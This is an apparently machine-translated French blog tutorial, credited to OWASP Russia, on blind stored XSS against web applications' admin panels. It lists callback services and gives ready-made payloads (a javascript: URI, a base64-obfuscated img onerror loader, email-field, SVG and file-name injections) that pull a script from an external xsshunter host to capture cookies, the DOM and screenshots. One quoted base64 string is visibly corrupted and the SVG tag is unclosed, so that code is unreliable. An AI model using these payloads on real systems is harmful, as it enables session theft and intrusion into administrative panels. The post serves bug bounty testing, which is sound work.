Simplicité aveugle

image

Dans cet article, je parlerai de XSS aveugle - il s'agit d'une attaque assez simple, mais souvent très efficace contre les applications Web. Le fonctionnement de tels vecteurs d'attaque conduit à la saisie de panneaux d'administration de divers services, y compris des géants du logiciel.

UPD: une partie des charges utiles de l'article a travaillé sur les agrégateurs / analyseurs Habr, de telles choses :)


Comment ça marche?


Tout d'abord, il convient de noter que XSS n'est pas une vulnérabilité, mais un type d'attaque sur les systèmes Web. Elle consiste à introduire du code malveillant dans la page émise par le système web (qui sera exécuté sur l'ordinateur de l'utilisateur lorsque cette page sera ouverte par lui) et son interaction avec le serveur web de l'attaquant. Il existe plusieurs types de XSS: stockés, mis en miroir et DOM. Dans cet article, nous ne considérerons que les XSS stockés - ils conviennent à des fins de «percée».

Le schéma d'attaque est le suivant: l'attaquant place la charge utile malveillante sur l'application Web, le code vulnérable pénètre dans la base de données et «tire» dans le panneau d'administration du projet.

image

Souvent, avant que la charge utile ne se déclenche, l'attaquant ne soupçonne pas où et quand il «tirera». D'après ma propre expérience, je peux dire que les opérations de charge utile se sont déroulées de plusieurs secondes à plusieurs mois - l'accélération de ce processus est extrêmement problématique.

image

L'endroit où la charge utile fonctionnera est également un facteur important. Sentir les points d'extrémité aveugles du XSS s'apparente à tirer des balles avec un centre de gravité déplacé. Parfois, les panneaux d'administration sont situés sur des sous-domaines accrocheurs de la forme manage007.attacked.site ou en dehors du site testé, sur une adresse IP comme XXX.XXX.XXX.XXX/admin_panel/dashboard.php . Ou il peut s'agir, par exemple, d'un système d'analyse qui est généralement en dehors des limites de l'entreprise testée.

Points de terminaison


Afin d'obtenir un «arrêt» de notre charge utile, nous devons avoir un point d'extrémité externe à intercepter. Pour ce faire, vous pouvez augmenter votre service et intercepter tous les appels, y compris en-têtes utilisant un langage de programmation acceptable pour vous.

image

Ou vous pouvez utiliser les options suivantes (de votre choix).

BurpCollaborator est un service externe spécialisé pour les utilisateurs de Burp Suite Pro:



Utilisez les services,% name% bin, par exemple requestbin :



Augmentez votre propre service, par exemple en utilisant ezXSS :

image

Ou utilisez xsshunter (recommandé pour les débutants) - un service pour générer des charges utiles et obtenir un "coup de pied" à partir de la charge utile déclenchée (y compris le courrier électronique):



Charges utiles


Nous avons donc trouvé le formulaire de saisie sur le site et nous voulons tester notre théorie selon laquelle les aveugles y travailleront. Pour ce faire, nous devons préparer des charges utiles, notamment pour contourner les équipements de protection.

Le service xsshunter propose plusieurs charges utiles prêtes à l'emploi pour l'exploitation de XSS aveugles:

Charge utile Uri:

javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yourpage.xss.ht\';document.body.appendChild(a)') 

Charge utile IMG:

 "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))> 

Une partie de la charge utile est convertie en base64 (dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtw5B5a5aa5a5aa

 var a=document.createElement("script");a.src="https://yourpage.xss.ht";document.body.appendChild(a); 

Charge utile dans le champ e-mail:

 "'--></style></title></textarea></script><script src=https://yourpage.xss.ht>"@test.com test@("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)test.com ("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)@test.com 



Astuces intéressantes


Considérez maintenant les formulaires d'entrée les plus intéressants pour implémenter des charges utiles.
E-mail - des exemples d'implémentation valides sont présentés ci-dessus, que cela fonctionne ou non dépend du type d'application web.

Dans le champ du mot de passe - ici, nous pouvons savoir si l'application Web stocke le mot de passe en texte brut et si l'administrateur l'a vu.

Aides en ligne - tire parfois ici aussi.

Dans les en - têtes - nous remplaçons la charge utile dans tous les en-têtes que nous pouvons contrôler: référent, agent utilisateur, etc.

Vecteurs SVG - Le chargement d'images / d'avatars sous la forme de * .svg peut nous donner la possibilité de mettre en œuvre notre charge utile (exemple) . SVG contient la charge utile:

 <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)" 

Champ de téléchargement de fichier / nom de fichier - nous pouvons essayer de télécharger avec le nom:

 "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>.jpg 



Désinscription - Désinscription des champs, «Votre opinion nous intéresse», et plus encore. Également une forme très prometteuse pour l'introduction de la charge utile.

Enquêtes - champ «autre / votre option de réponse».

Attraper


En exploitant cette attaque, vous pouvez accéder au panneau de contrôle (avec des paramètres de sécurité inappropriés), à la capture d'écran, à la structure DOM, à l'adresse IP administrateur, aux cookies, etc.

image

Cette attaque vous permet d'accéder aux systèmes de support , aux panneaux d'administration et bien plus encore. Lors de la participation aux programmes Bug Bounty, plusieurs captures d'écran intéressantes ont été accumulées lors de ces attaques:



Casino en ligne :



Auto.ru ( johndoe1492 ):



Microsoft ( johndoe1492 ):



Le système utilisé par 150 000 entreprises dans le monde:



Il existe de nombreuses captures d'écran de ce type - cela suggère que les développeurs devraient accorder une attention particulière non seulement à la fenêtre de l'application Web, mais également à sa partie administrative.

UPD: une partie des charges utiles de l'article a travaillé sur les agrégateurs / analyseurs Habr, de telles choses :)





Cet article a été préparé dans le cadre du projet OWASP.
Chapitre OWASP Russie : OWASP Russie
Chat OWASP Russie: https://t.me/OWASP_Russia
Chaîne OWASP Russie: https://t.me/OWASP_RU

Source: https://habr.com/ru/post/fr450780/


All Articles